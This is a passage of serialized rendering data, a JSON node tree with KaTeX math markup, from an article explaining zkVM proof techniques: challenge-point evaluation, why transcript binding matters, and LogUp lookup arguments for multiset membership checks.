13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":24,"tag":158,"props":113607,"children":113609},{"className":113608},[22983],[113610],{"type":29,"value":521},{"type":24,"tag":158,"props":113612,"children":113614},{"className":113613,"style":5848},[5750],[],{"type":24,"tag":158,"props":113616,"children":113618},{"className":113617},[5853],[113619],{"type":29,"value":1285},{"type":24,"tag":158,"props":113621,"children":113623},{"className":113622,"style":5848},[5750],[],{"type":24,"tag":158,"props":113625,"children":113627},{"className":113626},[5658],[113628,113633,113814,113818,113823,113828,113878,113883,113887,113892],{"type":24,"tag":158,"props":113629,"children":113632},{"className":113630,"style":113631},[5663],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":24,"tag":158,"props":113634,"children":113636},{"className":113635},[22868],[113637,113642],{"type":24,"tag":158,"props":113638,"children":113640},{"className":113639,"style":22875},[22868,22873,22874],[113641],{"type":29,"value":110120},{"type":24,"tag":158,"props":113643,"children":113645},{"className":113644},[5686],[113646],{"type":24,"tag":158,"props":113647,"children":113649},{"className":113648},[5691,22886],[113650,113802],{"type":24,"tag":158,"props":113651,"children":113653},{"className":113652},[5696],[113654,113797],{"type":24,"tag":158,"props":113655,"children":113658},{"className":113656,"style":113657},[5701],"height:0.3448em;",[113659],{"type":24,"tag":158,"props":113660,"children":113662},{"style":113661},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[113663,113667],{"type":24,"tag":158,"props":113664,"children":113666},{"className":113665,"style":5711},[5710],[],{"type":24,"tag":158,"props":113668,"children":113670},{"className":113669},[5716,5717,5718,5719],[113671],{"type":24,"tag":158,"props":113672,"children":113674},{"className":113673},[5669,5719],[113675,113729,113734,113739,113744,113749,113754],{"type":24,"tag":158,"props":113676,"children":113678},{"className":113677},[5669,113474,5719],[113679],{"type":24,"tag":158,"props":113680,"children":113682},{"className":113681},[5691],[113683],{"type":24,"tag":158,"props":113684,"children":113686},{"className":113685},[5696],[113687],{"type":24,"tag":158,"props":113688,"children":113691},{"className":113689,"style":113690},[5701],"height:0.9774em;",[113692,113706],{"type":24,"tag":158,"props":113693,"children":113695},{"style":113694},"top:-2.714em;",[113696,113701],{"type":24,"tag":158,"props":113697,"children":113700},{"className":113698,"style":113699},[5710],"height:2.714em;",[],{"type":24,"tag":158,"props":113702,"children":113704},{"className":113703},[5669,22832,5719],[113705],{"type":29,"value":741},{"type":24,"tag":158,"props":113707,"children":113709},{"style":113708},"top:-2.9774em;",[113710,113714],{"type":24,"tag":158,"props":113711,"children":113713},{"className":113712,"style":113699},[5710],[],{"type":24,"tag":158,"props":113715,"children":113718},{"className":113716,"style":113717},[113514],"left:-0.2355em;",[113719],{"type":24,"tag":158,"props":113720,"children":113722},{"className":113721,"style":113590},[113589,5719],[113723],{"type":24,"tag":35536,"props":113724,"children":113725},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[113726],{"type":24,"tag":113602,"props":113727,"children":113728},{"d":113604},[],{"type":24,"tag":158,"props":113730,"children":113732},{"className":113731},[5853,5719],[113733],{"type":29,"value":22939},{"type":24,"tag":158,"props":113735,"children":113737},{"className":113736},[22961,5719],[113738],{"type":29,"value":77896},{"type":24,"tag":158,"props":113740,"children":113742},{"className":113741},[5669,5719],[113743],{"type":29,"value":5682},{"type":24,"tag":158,"props":113745,"children":113747},{"className":113746},[5782,5719],[113748],{"type":29,"value":5785},{"type":24,"tag":158,"props":113750,"children":113752},{"className":113751},[5669,5719],[113753],{"type":29,"value":5672},{"type":24,"tag":158,"props":113755,"children":113757},{"className":113756},[22983,5719],[113758,113763],{"type":24,"tag":158,"props":113759,"children":113761},{"className":113760},[22983,5719],[113762],{"type":29,"value":35403},{"type":24,"tag":158,"props":113764,"children":113766},{"className":113765},[5686],[113767],{"type":24,"tag":158,"props":113768,"children":113770},{"className":113769},[5691],[113771],{"type":24,"tag":158,"props":113772,"children":113774},{"className":113773},[5696],[113775],{"type":24,"tag":158,"props":113776,"children":113779},{"className":113777,"style":113778},[5701],"height:0.5935em;",[113780],{"type":24,"tag":158,"props":113781,"children":113783},{"style":113782},"top:-2.786em;margin-right:0.0714em;",[113784,113788],{"type":24,"tag":158,"props":113785,"children":113787},{"className":113786,"style":110185},[5710],[],{"type":24,"tag":158,"props":113789,"children":113791},{"className":113790},[5716,110190,110191,5719],[113792],{"type":24,"tag":158,"props":113793,"children":113795},{"className":113794},[5669,22832,5719],[113796],{"type":29,"value":57676},{"type":24,"tag":158,"props":113798,"children":113800},{"className":113799},[22989],[113801],{"type":29,"value":22992},{"type":24,"tag":158,"props":113803,"children":113805},{"className":113804},[5696],[113806],{"type":24,"tag":158,"props":113807,"children":113810},{"className":113808,"style":113809},[5701],"height:0.5144em;",[113811],{"type":24,"tag":158,"props":113812,"children":113813},{},[],{"type":24,"tag":158,"props":113815,"children":113817},{"className":113816,"style":5789},[5750],[],{"type":24,"tag":158,"props":113819,"children":113821},{"className":113820,"style":96679},[5669,22832],[113822],{"type":29,"value":34347},{"type":24,"tag":158,"props":113824,"children":113826},{"className":113825},[22961],[113827],{"type":29,"value":504},{"type":24,"tag":158,"props":113829,"children":113831},{"className":113830},[5669,113474],[113832],{"type":24,"tag":158,"props":113833,"children":113835},{"className":113834},[5691],[113836],{"type":24,"tag":158,"props":113837,"children":113839},{"className":113838},[5696],[113840],{"type":24,"tag":158,"props":113841,"children":113843},{"className":113842,"style":113690},[5701],[113844,113856],{"type":24,"tag":158,"props":113845,"children":113846},{"style":113491},[113847,113851],{"type":24,"tag":158,"props":113848,"children":113850},{"className":113849,"style":113496},[5710],[],{"type":24,"tag":158,"props":113852,"children":113854},{"className":113853},[5669,22832],[113855],{"type":29,"value":741},{"type":24,"tag":158,"props":113857,"children":113859},{"style":113858},"top:-3.2634em;",[113860,113864],{"type":24,"tag":158,"props":113861,"children":113863},{"className":113862,"style":113496},[5710],[],{"type":24,"tag":158,"props":113865,"children":113867},{"className":113866,"style":113717},[113514],[113868],{"type":24,"tag":158,"props":113869,"children":113871},{"className":113870,"style":113590},[113589],[113872],{"type":24,"tag":35536,"props":113873,"children":113874},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[113875],{"type":24,"tag":113602,"props":113876,"children":113877},{"d":113604},[],{"type":24,"tag":158,"props":113879,"children":113881},{"className":113880},[22983],[113882],{"type":29,"value":521},{"type":24,"tag":158,"props":113884,"children":113886},{"className":113885,"style":5751},[5750],[],{"type":24,"tag":158,"props":113888,"children":113890},{"className":113889},[5756],[113891],{"type":29,"value":112587},{"type":24,"tag":158,"props":113893,"children":113895},{"className":113894,"style":5751},[5750],[],{"type":24,"tag":158,"props":113897,"children":113899},{"className":113898},[5658],[113900,113905,113915,113920,113969,113974,113978,114027],{"type":24,"tag":158,"props":113901,"children":113904},{"className":113902,"style":113903},[5663],"height:1.2274em;vertical-align:-0.25em;",[],{"type":24,"tag":158,"props":113906,"children":113908},{"className":113907},[5669,29],[113909],{"type":24,"tag":158,"props":113910,"children":113912},{"className":113911},[5669],[113913],{"type":29,"value":113914},"eq",{"type":24,"tag":158,"props":113916,"children":113918},{"className":113917},[22961],[113919],{"type":29,"value":504},{"type":24,"tag":158,"props":113921,"children":113923},{"className":113922},[5669,113474],[113924],{"type":24,"tag":158,"props":113925,"children":113927},{"className":113926},[5691],[113928],{"type":24,"tag":158,"props":113929,"children":113931},{"className":113930},[5696],[113932],{"type":24,"tag":158,"props":113933,"children":113935},{"className":113934,"style":113690},[5701],[113936,113948],{"type":24,"tag":158,"props":113937,"children":113938},{"style":113491},[113939,113943],{"type":24,"tag":158,"props":113940,"children":113942},{"className":113941,"style":113496},[5710],[],{"type":24,"tag":158,"props":113944,"children":113946},{"className":113945},[5669,22832],[113947],{"type":29,"value":741},{"type":24,"tag":158,"props":113949,"children":113950},{"style":113858},[113951,113955],{"type":24,"tag":158,"props":113952,"children":113954},{"className":113953,"style":113496},[5710],[],{"type":24,"tag":158,"props":113956,"children":113958},{"className":113957,"style":113717},[113514],[113959],{"type":24,"tag":158,"props":113960,"children":113962},{"className":113961,"style":113590},[113589],[113963],{"type":24,"tag":35536,"props":113964,"children":113965},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[113966],{"type":24,"tag":113602,"props":113967,"children":113968},{"d":113604},[],{"type":24,"tag":158,"props":113970,"children":113972},{"className":113971},[5782],[113973],{"type":29,"value":5785},{"type":24,"tag":158,"props":113975,"children":113977},{"className":113976,"style":5789},[5750],[],{"type":24,"tag":158,"props":113979,"children":113981},{"className":113980},[5669,113474],[113982],{"type":24,"tag":158,"props":113983,"children":113985},{"className":113984},[5691],[113986],{"type":24,"tag":158,"props":113987,"children":113989},{"className":113988},[5696],[113990],{"type":24,"tag":158,"props":113991,"children":113993},{"className":113992,"style":113560},[5701],[113994,114006],{"type":24,"tag":158,"props":113995,"children":113996},{"style":113491},[113997,114001],{"type":24,"tag":158,"props":113998,"children":114000},{"className":113999,"style":113496},[5710],[],{"type":24,"tag":158,"props":114002,"children":114004},{"className":114003,"style":94325},[5669,22832],[114005],{"type":29,"value":95144},{"type":24,"tag":158,"props":114007,"children":114008},{"style":113491},[114009,114013],{"type":24,"tag":158,"props":114010,"children":114012},{"className":114011,"style":113496},[5710],[],{"type":24,"tag":158,"props":114014,"children":114016},{"className":114015,"style":113584},[113514],[114017],{"type":24,"tag":158,"props":114018,"children":114020},{"className":114019,"style":113590},[113589],[114021],{"type":24,"tag":35536,"props":114022,"children":114023},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[114024],{"type":24,"tag":113602,"props":114025,"children":114026},{"d":113604},[],{"type":24,"tag":158,"props":114028,"children":114030},{"className":114029},[22983],[114031],{"type":29,"value":521},{"type":24,"tag":25,"props":114033,"children":114034},{},[114035,114037,114106,114108,114254,114256,114395,114397,114481],{"type":29,"value":114036},"At a fixed challenge point ",{"type":24,"tag":154,"props":114038,"children":114040},{"className":114039},[5642,5643],[114041],{"type":24,"tag":158,"props":114042,"children":114044},{"className":114043},[5648],[114045],{"type":24,"tag":158,"props":114046,"children":114048},{"className":114047,"ariaHidden":3185},[5653],[114049],{"type":24,"tag":158,"props":114050,"children":114052},{"className":114051},[5658],[114053,114057],{"type":24,"tag":158,"props":114054,"children":114056},{"className":114055,"style":113560},[5663],[],{"type":24,"tag":158,"props":114058,"children":114060},{"className":114059},[5669,113474],[114061],{"type":24,"tag":158,"props":114062,"children":114064},{"className":114063},[5691],[114065],{"type":24,"tag":158,"props":114066,"children":114068},{"className":114067},[5696],[114069],{"type":24,"tag":158,"props":114070,"children":114072},{"className":114071,"style":113560},[5701],[114073,114085],{"type":24,"tag":158,"props":114074,"children":114075},{"style":113491},[114076,114080],{"type":24,"tag":158,"props":114077,"children":114079},{"className":114078,"style":113496},[5710],[],{"type":24,"tag":158,"props":114081,"children":114083},{"className":114082,"style":94325},[5669,22832],[114084],{"type":29,"value":95144},{"type":24,"tag":158,"props":114086,"children":114087},{"style":113491},[114088,114092],{"type":24,"tag":158,"props":114089,"children":114091},{"className":114090,"style":113496},[5710],[],{"type":24,"tag":158,"props":114093,"children":114095},{"className":114094,"style":113584},[113514],[114096],{"type":24,"tag":158,"props":114097,"children":114099},{"className":114098,"style":113590},[113589],[114100],{"type":24,"tag":35536,"props":114101,"children":114102},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[114103],{"type":24,"tag":113602,"props":114104,"children":114105},{"d":113604},[],{"type":29,"value":114107},", the coefficients ",{"type":24,"tag":154,"props":114109,"children":114111},{"className":114110},[5642,5643],[114112],{"type":24,"tag":158,"props":114113,"children":114115},{"className":114114},[5648],[114116],{"type":24,"tag":158,"props":114117,"children":114119},{"className":114118,"ariaHidden":3185},[5653],[114120],{"type":24,"tag":158,"props":114121,"children":114123},{"className":114122},[5658],[114124,114128,114137,114142,114191,114196,114200,114249],{"type":24,"tag":158,"props":114125,"children":114127},{"className":114126,"style":113903},[5663],[],{"type":24,"tag":158,"props":114129,"children":114131},{"className":114130},[5669,29],[114132],{"type":24,"tag":158,"props":114133,"children":114135},{"className":114134},[5669],[114136],{"type":29,"value":113914},{"type":24,"tag":158,"props":114138,"children":114140},{"className":114139},[22961],[114141],{"type":29,"value":504},{"type":24,"tag":158,"props":114143,"children":114145},{"className":114144},[5669,113474],[114146],{"type":24,"tag":158,"props":114147,"children":114149},{"className":114148},[5691],[114150],{"type":24,"tag":158,"props":114151,"children":114153},{"className":114152},[5696],[114154],{"type":24,"tag":158,"props":114155,"children":114157},{"className":114156,"style":113690},[5701],[114158,114170],{"type":24,"tag":158,"props":114159,"children":114160},{"style":113491},[114161,114165],{"type":24,"tag":158,"props":114162,"children":114164},{"className":114163,"style":113496},[5710],[],{"type":24,"tag":158,"props":114166,"children":114168},{"className":114167},[5669,22832],[114169],{"type":29,"value":741},{"type":24,"tag":158,"props":114171,"children":114172},{"style":113858},[114173,114177],{"type":24,"tag":158,"props":114174,"children":114176},{"className":114175,"style":113496},[5710],[],{"type":24,"tag":158,"props":114178,"children":114180},{"className":114179,"style":113717},[113514],[114181],{"type":24,"tag":158,"props":114182,"children":114184},{"className":114183,"style":113590},[113589],[114185],{"type":24,"tag":35536,"props":114186,"children":114187},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[114188],{"type":24,"tag":113602,"props":114189,"children":114190},{"d":113604},[],{"type":24,"tag":158,"props":114192,"children":114194},{"className":114193},[5782],[114195],{"type":29,"value":5785},{"type":24,"tag":158,"props":114197,"children":114199},{"className":114198,"style":5789},[5750],[],{"type":24,"tag":158,"props":114201,"children":114203},{"className":114202},[5669,113474],[114204],{"type":24,"tag":158,"props":114205,"children":114207},{"className":114206},[5691],[114208],{"type":24,"tag":158,"props":114209,"children":114211},{"className":114210},[5696],[114212],{"type":24,"tag":158,"props":114213,"children":114215},{"className":114214,"style":113560},[5701],[114216,114228],{"type":24,"tag":158,"props":114217,"children":114218},{"style":113491},[114219,114223],{"type":24,"tag":158,"props":114220,"children":114222},{"className":114221,"style":113496},[5710],[],{"type":24,"tag":158,"props":114224,"children":114226},{"className":114225,"style":94325},[5669,22832],[114227],{"type":29,"value":95144},{"type":24,"tag":158,"props":114229,"children":114230},{"style":113491},[114231,114235],{"type":24,"tag":158,"props":114232,"children":114234},{"className":114233,"style":113496},[5710],[],{"type":24,"tag":158,"props":114236,"children":114238},{"className":114237,"style":113584},[113514],[114239],{"type":24,"tag":158,"props":114240,"children":114242},{"className":114241,"style":113590},[113589],[114243],{"type":24,"tag":35536,"props":114244,"children":114245},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[114246],{"type":24,"tag":113602,"props":114247,"children":114248},{"d":113604},[],{"type":24,"tag":158,"props":114250,"children":114252},{"className":114251},[22983],[114253],{"type":29,"value":521},{"type":29,"value":114255}," are constants, so ",{"type":24,"tag":154,"props":114257,"children":114259},{"className":114258},[5642,5643],[114260],{"type":24,"tag":158,"props":114261,"children":114263},{"className":114262},[5648],[114264],{"type":24,"tag":158,"props":114265,"children":114267},{"className":114266,"ariaHidden":3185},[5653],[114268],{"type":24,"tag":158,"props":114269,"children":114271},{"className":114270},[5658],[114272,114276,114336,114341,114390],{"type":24,"tag":158,"props":114273,"children":114275},{"className":114274,"style":113469},[5663],[],{"type":24,"tag":158,"props":114277,"children":114279},{"className":114278},[5669,113474],[114280],{"type":24,"tag":158,"props":114281,"children":114283},{"className":114282},[5691,22886],[114284,114325],{"type":24,"tag":158,"props":114285,"children":114287},{"className":114286},[5696],[114288,114320],{"type":24,"tag":158,"props":114289,"children":114291},{"className":114290,"style":113487},[5701],[114292,114304],{"type":24,"tag":158,"props":114293,"children":114294},{"style":113491},[114295,114299],{"type":24,"tag":158,"props":114296,"children":114298},{"className":114297,"style":113496},[5710],[],{"type":24,"tag":158,"props":114300,"children":114302},{"className":114301,"style":96679},[5669,22832],[114303],{"type":29,"value":34347},{"type":24,"tag":158,"props":114305,"children":114306},{"style":113505},[114307,114311],{"type":24,"tag":158,"props":114308,"children":114310},{"className":114309,"style":113496},[5710],[],{"type":24,"tag":158,"props":114312,"children":114314},{"className":114313,"style":113515},[113514],[114315],{"type":24,"tag":158,"props":114316,"children":114318},{"className":114317},[5669],[114319],{"type":29,"value":113522},{"type":24,"tag":158,"props":114321,"children":114323},{"className":114322},[22989],[114324],{"type":29,"value":22992},{"type":24,"tag":158,"props":114326,"children":114328},{"className":114327},[5696],[114329],{"type":24,"tag":158,"props":114330,"children":114332},{"className":114331,"style":113535},[5701],[114333],{"type":24,"tag":158,"props":114334,"children":114335},{},[],{"type":24,"tag":158,"props":114337,"children":114339},{"className":114338},[22961],[114340],{"type":29,"value":504},{"type":24,"tag":158,"props":114342,"children":114344},{"className":114343},[5669,113474],[114345],{"type":24,"tag":158,"props":114346,"children":114348},{"className":114347},[5691],[114349],{"type":24,"tag":158,"props":114350,"children":114352},{"className":114351},[5696],[114353],{"type":24,"tag":158,"props":114354,"children":114356},{"className":114355,"style":113560},[5701],[114357,114369],{"type":24,"tag":158,"props":114358,"children":114359},{"style":113491},[114360,114364],{"type":24,"tag":158,"props":114361,"children":114363},{"className":114362,"style":113496},[5710],[],{"type":24,"tag":158,"props":114365,"children":114367},{"className":114366,"style":94325},[5669,22832],[114368],{"type":29,"value":95144},{"type":24,"tag":158,"props":114370,"children":114371},{"style":113491},[114372,114376],{"type":24,"tag":158,"props":114373,"children":114375},{"className":114374,"style":113496},[5710],[],{"type":24,"tag":158,"props":114377,"children":114379},{"className":114378,"style":113584},[113514],[114380],{"type":24,"tag":158,"props":114381,"children":114383},{"className":114382,"style":113590},[113589],[114384],{"type":24,"tag":35536,"props":114385,"children":114386},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[114387],{"type":24,"tag":113602,"props":114388,"children":114389},{"d":113604},[],{"type":24,"tag":158,"props":114391,"children":114393},{"className":114392},[22983],[114394],{"type":29,"value":521},{"type":29,"value":114396}," is linear in the table values ",{"type":24,"tag":154,"props":114398,"children":114400},{"className":114399},[5642,5643],[114401],{"type":24,"tag":158,"props":114402,"children":114404},{"className":114403},[5648],[114405],{"type":24,"tag":158,"props":114406,"children":114408},{"className":114407,"ariaHidden":3185},[5653],[114409],{"type":24,"tag":158,"props":114410,"children":114412},{"className":114411},[5658],[114413,114417,114422,114427,114476],{"type":24,"tag":158,"props":114414,"children":114416},{"className":114415,"style":113903},[5663],[],{"type":24,"tag":158,"props":114418,"children":114420},{"className":114419,"style":96679},[5669,22832],[114421],{"type":29,"value":34347},{"type":24,"tag":158,"props":114423,"children":114425},{"className":114424},[22961],[114426],{"type":29,"value":504},{"type":24,"tag":158,"props":114428,"children":114430},{"className":114429},[5669,113474],[114431],{"type":24,"tag":158,"props":114432,"children":114434},{"className":114433},[5691],[114435],{"type":24,"tag":158,"props":114436,"children":114438},{"className":114437},[5696],[114439],{"type":24,"tag":158,"props":114440,"children":114442},{"className":114441,"style":113690},[5701],[114443,114455],{"type":24,"tag":158,"props":114444,"children":114445},{"style":113491},[114446,114450],{"type":24,"tag":158,"props":114447,"children":114449},{"className":114448,"style":113496},[5710],[],{"type":24,"tag":158,"props":114451,"children":114453},{"className":114452},[5669,22832],[114454],{"type":29,"value":741},{"type":24,"tag":158,"props":114456,"children":114457},{"style":113858},[114458,114462],{"type":24,"tag":158,"props":114459,"children":114461},{"className":114460,"style":113496},[5710],[],{"type":24,"tag":158,"props":114463,"children":114465},{"className":114464,"style":113717},[113514],[114466],{"type":24,"tag":158,"props":114467,"children":114469},{"className":114468,"style":113590},[113589],[114470],{"type":24,"tag":35536,"props":114471,"children":114472},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[114473],{"type":24,"tag":113602,"props":114474,"children":114475},{"d":113604},[],{"type":24,"tag":158,"props":114477,"children":114479},{"className":114478},[22983],[114480],{"type":29,"value":521},{"type":29,"value":347},{"type":24,"tag":25,"props":114483,"children":114484},{},[114485,114487,114556],{"type":29,"value":114486},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":24,"tag":154,"props":114488,"children":114490},{"className":114489},[5642,5643],[114491],{"type":24,"tag":158,"props":114492,"children":114494},{"className":114493},[5648],[114495],{"type":24,"tag":158,"props":114496,"children":114498},{"className":114497,"ariaHidden":3185},[5653],[114499],{"type":24,"tag":158,"props":114500,"children":114502},{"className":114501},[5658],[114503,114507],{"type":24,"tag":158,"props":114504,"children":114506},{"className":114505,"style":113560},[5663],[],{"type":24,"tag":158,"props":114508,"children":114510},{"className":114509},[5669,113474],[114511],{"type":24,"tag":158,"props":114512,"children":114514},{"className":114513},[5691],[114515],{"type":24,"tag":158,"props":114516,"children":114518},{"className":114517},[5696],[114519],{"type":24,"tag":158,"props":114520,"children":114522},{"className":114521,"style":113560},[5701],[114523,114535],{"type":24,"tag":158,"props":114524,"children":114525},{"style":113491},[114526,114530],{"type":24,"tag":158,"props":114527,"children":114529},{"className":114528,"style":113496},[5710],[],{"type":24,"tag":158,"props":114531,"children":114533},{"className":114532,"style":94325},[5669,22832],[114534],{"type":29,"value":95144},{"type":24,"tag":158,"props":114536,"children":114537},{"style":113491},[114538,114542],{"type":24,"tag":158,"props":114539,"children":114541},{"className":114540,"style":113496},[5710],[],{"type":24,"tag":158,"props":114543,"children":114545},{"className":114544,"style":113584},[113514],[114546],{"type":24,"tag":158,"props":114547,"children":114549},{"className":114548,"style":113590},[113589],[114550],{"type":24,"tag":35536,"props":114551,"children":114552},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[114553],{"type":24,"tag":113602,"props":114554,"children":114555},{"d":113604},[],{"type":29,"value":114557}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":24,"tag":395,"props":114559,"children":114561},{"id":114560},"lookup-arguments-logup",[114562],{"type":29,"value":114563},"Lookup Arguments (LogUp)",{"type":24,"tag":25,"props":114565,"children":114566},{},[114567],{"type":29,"value":114568},"zkVMs need to check that values satisfy certain properties. For example:",{"type":24,"tag":17924,"props":114570,"children":114571},{},[114572,114628,114633],{"type":24,"tag":1790,"props":114573,"children":114574},{},[114575,114577,114627],{"type":29,"value":114576},"Is this byte in range ",{"type":24,"tag":154,"props":114578,"children":114580},{"className":114579},[5642,5643],[114581],{"type":24,"tag":158,"props":114582,"children":114584},{"className":114583},[5648],[114585],{"type":24,"tag":158,"props":114586,"children":114588},{"className":114587,"ariaHidden":3185},[5653],[114589],{"type":24,"tag":158,"props":114590,"children":114592},{"className":114591},[5658],[114593,114597,114602,114607,114612,114616,114622],{"type":24,"tag":158,"props":114594,"children":114596},{"className":114595,"style":5771},[5663],[],{"type":24,"tag":158,"props":114598,"children":114600},{"className":114599},[22961],[114601],{"type":29,"value":2048},{"type":24,"tag":158,"props":114603,"children":114605},{"className":114604},[5669],[114606],{"type":29,"value":5682},{"type":24,"tag":158,"props":114608,"children":114610},{"className":114609},[5782],[114611],{"type":29,"value":5785},{"type":24,"tag":158,"props":114613,"children":114615},{"className":114614,"style":5789},[5750],[],{"type":24,"tag":158,"props":114617,"children":114619},{"className":114618},[5669],[114620],{"type":29,"value":114621},"255",{"type":24,"tag":158,"props":114623,"children":114625},{"className":114624},[22983],[114626],{"type":29,"value":16646},{"type":29,"value":4820},{"type":24,"tag":1790,"props":114629,"children":114630},{},[114631],{"type":29,"value":114632},"Does this opcode decode correctly?",{"type":24,"tag":1790,"props":114634,"children":114635},{},[114636],{"type":29,"value":114637},"Is this memory access consistent with previous accesses?",{"type":24,"tag":25,"props":114639,"children":114640},{},[114641,114646],{"type":24,"tag":897,"props":114642,"children":114643},{},[114644],{"type":29,"value":114645},"The naive approach:",{"type":29,"value":114647}," Add constraints for each check. Expensive.",{"type":24,"tag":25,"props":114649,"children":114650},{},[114651,114656,114658,114663],{"type":24,"tag":897,"props":114652,"children":114653},{},[114654],{"type":29,"value":114655},"The clever approach:",{"type":29,"value":114657}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":24,"tag":897,"props":114659,"children":114660},{},[114661],{"type":29,"value":114662},"multiset membership",{"type":29,"value":69071},{"type":24,"tag":25,"props":114665,"children":114666},{},[114667,114672],{"type":24,"tag":897,"props":114668,"children":114669},{},[114670],{"type":29,"value":114671},"LogUp (Logarithmic Derivative):",{"type":29,"value":114673}," Encode multiset membership as a sum of fractions.",{"type":24,"tag":25,"props":114675,"children":114676},{},[114677,114679,114704,114706,114733],{"type":29,"value":114678},"If set ",{"type":24,"tag":154,"props":114680,"children":114682},{"className":114681},[5642,5643],[114683],{"type":24,"tag":158,"props":114684,"children":114686},{"className":114685},[5648],[114687],{"type":24,"tag":158,"props":114688,"children":114690},{"className":114689,"ariaHidden":3185},[5653],[114691],{"type":24,"tag":158,"props":114692,"children":114694},{"className":114693},[5658],[114695,114699],{"type":24,"tag":158,"props":114696,"children":114698},{"className":114697,"style":22827},[5663],[],{"type":24,"tag":158,"props":114700,"children":114702},{"className":114701},[5669,22832],[114703],{"type":29,"value":78045},{"type":29,"value":114705}," should equal set ",{"type":24,"tag":154,"props":114707,"children":114709},{"className":114708},[5642,5643],[114710],{"type":24,"tag":158,"props":114711,"children":114713},{"className":114712},[5648],[114714],{"type":24,"tag":158,"props":114715,"children":114717},{"className":114716,"ariaHidden":3185},[5653],[114718],{"type":24,"tag":158,"props":114719,"children":114721},{"className":114720},[5658],[114722,114726],{"type":24,"tag":158,"props":114723,"children":114725},{"className":114724,"style":22827},[5663],[],{"type":24,"tag":158,"props":114727,"children":114730},{"className":114728,"style":114729},[5669,22832],"margin-right:0.05017em;",[114731],{"type":29,"value":114732},"B",{"type":29,"value":114734}," as multisets:",{"type":24,"tag":25,"props":114736,"children":114737},{},[114738],{"type":24,"tag":154,"props":114739,"children":114741},{"className":114740},[5642,5643],[114742],{"type":24,"tag":158,"props":114743,"children":114745},{"className":114744},[5648],[114746],{"type":24,"tag":158,"props":114747,"children":114749},{"className":114748,"ariaHidden":3185},[5653],[114750,114965],{"type":24,"tag":158,"props":114751,"children":114753},{"className":114752},[5658],[114754,114759,114832,114836,114952,114956,114961],{"type":24,"tag":158,"props":114755,"children":114758},{"className":114756,"style":114757},[5663],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":24,"tag":158,"props":114760,"children":114762},{"className":114761},[22868],[114763,114768],{"type":24,"tag":158,"props":114764,"children":114766},{"className":114765,"style":22875},[22868,22873,22874],[114767],{"type":29,"value":110120},{"type":24,"tag":158,"props":114769,"children":114771},{"className":114770},[5686],[114772],{"type":24,"tag":158,"props":114773,"children":114775},{"className":114774},[5691,22886],[114776,114820],{"type":24,"tag":158,"props":114777,"children":114779},{"className":114778},[5696],[114780,114815],{"type":24,"tag":158,"props":114781,"children":114784},{"className":114782,"style":114783},[5701],"height:0.1786em;",[114785],{"type":24,"tag":158,"props":114786,"children":114787},{"style":22899},[114788,114792],{"type":24,"tag":158,"props":114789,"children":114791},{"className":114790,"style":5711},[5710],[],{"type":24,"tag":158,"props":114793,"children":114795},{"className":114794},[5716,5717,5718,5719],[114796],{"type":24,"tag":158,"props":114797,"children":114799},{"className":114798},[5669,5719],[114800,114805,114810],{"type":24,"tag":158,"props":114801,"children":114803},{"className":114802},[5669,22832,5719],[114804],{"type":29,"value":101},{"type":24,"tag":158,"props":114806,"children":114808},{"className":114807},[5853,5719],[114809],{"type":29,"value":22939},{"type":24,"tag":158,"props":114811,"children":114813},{"className":114812},[5669,22832,5719],[114814],{"type":29,"value":78045},{"type":24,"tag":158,"props":114816,"children":114818},{"className":114817},[22989],[114819],{"type":29,"value":22992},{"type":24,"tag":158,"props":114821,"children":114823},{"className":114822},[5696],[114824],{"type":24,"tag":158,"props":114825,"children":114828},{"className":114826,"style":114827},[5701],"height:0.3271em;",[114829],{"type":24,"tag":158,"props":114830,"children":114831},{},[],{"type":24,"tag":158,"props":114833,"children":114835},{"className":114834,"style":5789},[5750],[],{"type":24,"tag":158,"props":114837,"children":114839},{"className":114838},[5669],[114840,114845,114948],{"type":24,"tag":158,"props":114841,"children":114844},{"className":114842},[22961,114843],"nulldelimiter",[],{"type":24,"tag":158,"props":114846,"children":114849},{"className":114847},[114848],"mfrac",[114850],{"type":24,"tag":158,"props":114851,"children":114853},{"className":114852},[5691,22886],[114854,114936],{"type":24,"tag":158,"props":114855,"children":114857},{"className":114856},[5696],[114858,114931],{"type":24,"tag":158,"props":114859,"children":114862},{"className":114860,"style":114861},[5701],"height:0.8451em;",[114863,114896,114910],{"type":24,"tag":158,"props":114864,"children":114866},{"style":114865},"top:-2.655em;",[114867,114871],{"type":24,"tag":158,"props":114868,"children":114870},{"className":114869,"style":113496},[5710],[],{"type":24,"tag":158,"props":114872,"children":114874},{"className":114873},[5716,5717,5718,5719],[114875],{"type":24,"tag":158,"props":114876,"children":114878},{"className":114877},[5669,5719],[114879,114886,114891],{"type":24,"tag":158,"props":114880,"children":114883},{"className":114881,"style":114882},[5669,22832,5719],"margin-right:0.04398em;",[114884],{"type":29,"value":114885},"z",{"type":24,"tag":158,"props":114887,"children":114889},{"className":114888},[5756,5719],[114890],{"type":29,"value":5730},{"type":24,"tag":158,"props":114892,"children":114894},{"className":114893},[5669,22832,5719],[114895],{"type":29,"value":101},{"type":24,"tag":158,"props":114897,"children":114899},{"style":114898},"top:-3.23em;",[114900,114904],{"type":24,"tag":158,"props":114901,"children":114903},{"className":114902,"style":113496},[5710],[],{"type":24,"tag":158,"props":114905,"children":114909},{"className":11